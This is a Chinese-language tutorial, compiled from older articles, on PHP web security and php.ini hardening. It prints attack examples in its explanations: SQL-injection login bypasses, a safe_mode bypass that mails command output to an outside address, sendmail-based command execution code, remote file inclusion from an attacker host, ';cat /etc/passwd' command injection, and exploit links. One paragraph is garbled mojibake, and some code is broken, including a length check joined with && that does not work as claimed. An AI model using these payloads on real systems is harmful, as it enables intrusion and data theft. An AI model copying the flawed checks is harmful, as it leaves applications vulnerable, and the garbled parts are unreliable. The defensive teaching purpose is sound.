php上傳安全
1. php有什麼安全規則,有哪些
php安全篇值過濾用戶輸入的人參數
規則 1:絕不要信任外部數據或輸入
關於Web應用程序安全性,必須認識到的第一件事是不應該信任外部數據。外部數據(outside data) 包括不是由程序員在PHP代碼中直接輸入的任何數據。在採取措施確保安全之前,來自任何其他來源(比如 GET 變數、表單 POST、資料庫、配置文件、會話變數或 cookie)的任何數據都是不可信任的。
例如,下面的數據元素可以被認為是安全的,因為它們是在PHP中設置的。
復制代碼 代碼如下:
<?php
$myUsername = 'tmyer';
$arrayUsers = array('tmyer', 'tom', 'tommy');define(」GREETING」, 'hello there' . $myUsername);?>
但是,下面的數據元素都是有瑕疵的。
清單 2. 不安全、有瑕疵的代碼
復制代碼 代碼如下:
<?php
$myUsername = $_POST['username']; //tainted!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!
define(」GREETING」, 'hello there' . $myUsername); //tainted!
?>
為 什麼第一個變數 $myUsername 是有瑕疵的?因為它直接來自表單 POST。用戶可以在這個輸入域中輸入任何字元串,包括用來清除文件或運行以前上傳的文件的惡意命令。您可能會問,「難道不能使用只接受字母 A-Z 的客戶端(Javascrīpt)表單檢驗腳本來避免這種危險嗎?」是的,這總是一個有好處的步驟,但是正如在後面會看到的,任何人都可以將任何錶單下載 到自己的機器上,修改它,然後重新提交他們需要的任何內容。
解決方案很簡單:必須對 $_POST['username'] 運行清理代碼。如果不這么做,那麼在使用 $myUsername 的任何其他時候(比如在數組或常量中),就可能污染這些對象。
對用戶輸入進行清理的一個簡單方法是,使用正則表達式來處理它。在這個示例中,只希望接受字母。將字元串限制為特定數量的字元,或者要求所有字母都是小寫的,這可能也是個好主意。
清單 3. 使用戶輸入變得安全
復制代碼 代碼如下:
<?php
$myUsername = cleanInput($_POST['username']); //clean!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!
define(」GREETING」, 'hello there' . $myUsername); //clean!
function cleanInput($input){
$clean = strtolower($input);
$clean = preg_replace(」/[^a-z]/」, 「」, $clean);$clean = substr($clean,0,12);
return $clean;
}
?>
規則 2:禁用那些使安全性難以實施的 PHP 設置已經知道了不能信任用戶輸入,還應該知道不應該信任機器上配置 PHP 的方式。例如,要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字元串。通過禁用這個設置,PHP 強迫您在正確的名稱空間中引用正確的變數。要使用來自表單 POST 的變數,應該引用 $_POST['variable']。這樣就不會將這個特定變數誤會成 cookie、會話或 GET 變數。
規則 3:如果不能理解它,就不能保護它
一些開發人員使用奇怪的語法,或者將語句組織得很緊湊,形成簡短但是含義模糊的代碼。這種方式可能效率高,但是如果您不理解代碼正在做什麼,那麼就無法決定如何保護它。
例如,您喜歡下面兩段代碼中的哪一段?
清單 4. 使代碼容易得到保護
復制代碼 代碼如下:
<?php
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:」);//unobfuscated code
$input = 」;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = 」;
}
?>
在第二個比較清晰的代碼段中,很容易看出 $input 是有瑕疵的,需要進行清理,然後才能安全地處理。
規則 4:「縱深防禦」 是新的法寶
本教程將用示例來說明如何保護在線表單,同時在處理表單的 PHP 代碼中採用必要的措施。同樣,即使使用 PHP regex 來確保 GET 變數完全是數字的,仍然可以採取措施確保 sql 查詢使用轉義的用戶輸入。
縱深防禦不只是一種好思想,它可以確保您不會陷入嚴重的麻煩。
既然已經討論了基本規則,現在就來研究第一種威脅:SQL 注入攻擊。
防止 SQL 注入攻擊
在 SQL 注入攻擊 中,用戶通過操縱表單或 GET 查詢字元串,將信息添加到資料庫查詢中。例如,假設有一個簡單的登錄資料庫。這個資料庫中的每個記錄都有一個用戶名欄位和一個密碼欄位。構建一個登錄表單,讓用戶能夠登錄。
清單 5. 簡單的登錄表單
復制代碼 代碼如下:
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=」verify.php」 method=」post」>
<p><label for='user'>Username</label>
<input type='text' name='user' id='user'/>
</p>
<p><label for='pw'>Password</label>
<input type='password' name='pw' id='pw'/>
</p>
<p><input type='submit' value='login'/></p>
</form>
</body>
</html>
這個表單接受用戶輸入的用戶名和密碼,並將用戶輸入提交給名為 verify.php 的文件。在這個文件中,PHP 處理來自登錄表單的數據,如下所示:
清單 6. 不安全的 PHP 表單處理代碼
復制代碼 代碼如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = 「select count(*) as ctr from users where username='」.$username.」' and password='」. $pw.」' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(」index.php」);
}else{
header(」login.php」);
}
?>
這 段代碼看起來沒問題,對嗎?世界各地成百(甚至成千)的 PHP/MySQL 站點都在使用這樣的代碼。它錯在哪裡?好,記住 「不能信任用戶輸入」。這里沒有對來自用戶的任何信息進行轉義,因此使應用程序容易受到攻擊。具體來說,可能會出現任何類型的 SQL 注入攻擊。
例如,如果用戶輸入 foo 作為用戶名,輸入 ' or '1′='1 作為密碼,那麼實際上會將以下字元串傳遞給 PHP,然後將查詢傳遞給 MySQL:
復制代碼 代碼如下:
<?php
$sql = 「select count(*) as ctr from users where username='foo' and password=」 or '1′='1′ limit 1″;?>
這個查詢總是返回計數值 1,因此 PHP 會允許進行訪問。通過在密碼字元串的末章節附註入某些惡意 SQL,黑客就能裝扮成合法的用戶。
解 決這個問題的辦法是,將 PHP 的內置 mysql_real_escape_string() 函數用作任何用戶輸入的包裝器。這個函數對字元串中的字元進行轉義,使字元串不可能傳遞撇號等特殊字元並讓 MySQL 根據特殊字元進行操作。清單 7 展示了帶轉義處理的代碼。
清單 7. 安全的 PHP 表單處理代碼
復制代碼 代碼如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = 「select count(*) as ctr from users where username='」.mysql_real_escape_string($username).」' and password='」. mysql_real_escape_string($pw).」' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(」index.php」);
}else{
header(」login.php」);
}
?>
使用 mysql_real_escape_string() 作為用戶輸入的包裝器,就可以避免用戶輸入中的任何惡意 SQL 注入。如果用戶嘗試通過 SQL 注入傳遞畸形的密碼,那麼會將以下查詢傳遞給資料庫:
select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″資料庫中沒有任何東西與這樣的密碼匹配。僅僅採用一個簡單的步驟,就堵住了 Web 應用程序中的一個大漏洞。這里得出的經驗是,總是應該對 SQL 查詢的用戶輸入進行轉義。
但是,還有幾個安全漏洞需要堵住。下一項是操縱 GET 變數。
防止用戶操縱 GET 變數
在前一節中,防止了用戶使用畸形的密碼進行登錄。如果您很聰明,應該應用您學到的方法,確保對 SQL 語句的所有用戶輸入進行轉義。
但 是,用戶現在已經安全地登錄了。用戶擁有有效的密碼,並不意味著他將按照規則行事 —— 他有很多機會能夠造成損害。例如,應用程序可能允許用戶查看特殊的內容。所有鏈接指向 template.php?pid=33 或 template.php?pid=321 這樣的位置。URL 中問號後面的部分稱為查詢字元串。因為查詢字元串直接放在 URL 中,所以也稱為 GET 查詢字元串。
在 PHP 中,如果禁用了 register_globals,那麼可以用 $_GET['pid'] 訪問這個字元串。在 template.php 頁面中,可能會執行與清單 8 相似的操作。
清單 8. 示例 template.php
復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
這 里有什麼錯嗎?首先,這里隱含地相信來自瀏覽器的 GET 變數 pid 是安全的。這會怎麼樣呢?大多數用戶沒那麼聰明,無法構造出語義攻擊。但是,如果他們注意到瀏覽器的 URL 位置域中的 pid=33,就可能開始搗亂。如果他們輸入另一個數字,那麼可能沒問題;但是如果輸入別的東西,比如輸入 SQL 命令或某個文件的名稱(比如 /etc/passwd),或者搞別的惡作劇,比如輸入長達 3,000 個字元的數值,那麼會發生什麼呢?
在這種情況下,要記住基本規則,不要信任用戶輸入。應用程序開發人員知道 template.php 接受的個人標識符(PID)應該是數字,所以可以使用 PHP 的 is_numeric()函數確保不接受非數字的 PID,如下所示:
清單 9. 使用 is_numeric() 來限制 GET 變數復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (is_numeric($pid)){
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page}else{
//didn't pass the is_numeric() test, do something else!
}
?>
這個方法似乎是有效的,但是以下這些輸入都能夠輕松地通過 is_numeric() 的檢查:
100 (有效)
100.1 (不應該有小數位)
+0123.45e6 (科學計數法 —— 不好)
0xff33669f (十六進制 —— 危險!危險!)那麼,有安全意識的 PHP 開發人員應該怎麼做呢?多年的經驗表明,最好的做法是使用正則表達式來確保整個 GET 變數由數字組成,如下所示:
清單 10. 使用正則表達式限制 GET 變數
復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(」^[0-9]+$」,$pid)){
//do something appropriate, like maybe logging them out or sending them back to home page}
}else{
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
需 要做的只是使用 strlen() 檢查變數的長度是否非零;如果是,就使用一個全數字正則表達式來確保數據元素是有效的。如果 PID 包含字母、斜線、點號或任何與十六進制相似的內容,那麼這個常式捕獲它並將頁面從用戶活動中屏蔽。如果看一下 Page 類幕後的情況,就會看到有安全意識的 PHP 開發人員已經對用戶輸入 $pid 進行了轉義,從而保護了 fetchPage() 方法,如下所示:
清單 11. 對 fetchPage() 方法進行轉義
復制代碼 代碼如下:
<?php
class Page{
function fetchPage($pid){
$sql = 「select pid,title,desc,kw,content,status from page where pid='」.mysql_real_escape_string($pid).」'」;}
}
?>
您可能會問,「既然已經確保 PID 是數字,那麼為什麼還要進行轉義?」 因為不知道在多少不同的上下文和情況中會使用 fetchPage() 方法。必須在調用這個方法的所有地方進行保護,而方法中的轉義體現了縱深防禦的意義。
如 果用戶嘗試輸入非常長的數值,比如長達 1000 個字元,試圖發起緩沖區溢出攻擊,那麼會發生什麼呢?下一節更詳細地討論這個問題,但是目前可以添加另一個檢查,確保輸入的 PID 具有正確的長度。您知道資料庫的 pid 欄位的最大長度是 5 位,所以可以添加下面的檢查。
清單 12. 使用正則表達式和長度檢查來限制 GET 變數復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(」^[0-9]+$」,$pid) && strlen($pid) > 5){//do something appropriate, like maybe logging them out or sending them back to home page}
} else {
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
現在,任何人都無法在資料庫應用程序中塞進一個 5,000 位的數值 —— 至少在涉及 GET 字元串的地方不會有這種情況。想像一下黑客在試圖突破您的應用程序而遭到挫折時咬牙切齒的樣子吧!而且因為關閉了錯誤報告,黑客更難進行偵察。
緩沖區溢出攻擊
緩沖區溢出攻擊 試圖使 PHP 應用程序中(或者更精確地說,在 Apache 或底層操作系統中)的內存分配緩沖區發生溢出。請記住,您可能是使用 PHP 這樣的高級語言來編寫 Web 應用程序,但是最終還是要調用 C(在 Apache 的情況下)。與大多數低級語言一樣,C 對於內存分配有嚴格的規則。
緩沖區溢出攻擊向緩沖區發送大量數據,使部分數據溢出到相鄰的內存緩沖區,從而破壞緩沖區或者重寫邏輯。這樣就能夠造成拒絕服務、破壞數據或者在遠程伺服器上執行惡意代碼。
防止緩沖區溢出攻擊的惟一方法是檢查所有用戶輸入的長度。例如,如果有一個表單元素要求輸入用戶的名字,那麼在這個域上添加值為 40 的 maxlength 屬性,並在後端使用 substr() 進行檢查。清單 13 給出表單和 PHP 代碼的簡短示例。
2. php安全配置 如何配置使其更安全
一、Web伺服器安全
PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = [email protected]
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
執行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]
這將id執行的結果發送給[email protected]。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
<?include("index.html")?>
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。
safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。
2、變數濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。
解決方法:
配置文件php.ini設置register_globals = Off。
要求程序員對作為判斷的變數在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
<?
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下請求可以讀php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷:
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,http://attack/attack.txt的內容是<?passthru("ls /etc")?>,那麼如下的請求就可以在目標主機執行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:
<?
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法:
要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)
$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
這是一個最簡單的文件上傳代碼:
<?
//test_5.php
if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:
http://victim/test_5.php?upload= ... ile_name=attack.txt
然後可以用如下請求讀取口令文件:
http://victim/test/attack.txt
攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法:
PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於操作泄漏源碼。
嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>
重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。
6、命令執行
下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。
攻擊者輸入如下請求可以執行cat /etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。
解決方法:
要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。
啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。
7、sql_inject
如下的SQL語句如果未對變數進行處理就會存在問題:
select * from login where user=$user and pass=$pass
攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。
不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
從而避免了此類sql_inject攻擊。
對於數字類型的欄位,很多程序員會這樣寫:
select * from test where id=$id
由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。
解決方法:
要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。
8、警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。
修改php.ini中關於Error handling and logging部分內容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。
9、disable_functions
如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。
10、disable_classes
這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。
四、其它安全配置
1、取消其它用戶對常用、重要系統命令的讀寫執行許可權
一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,
2、去掉apache日誌其它用戶的讀許可權
apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。
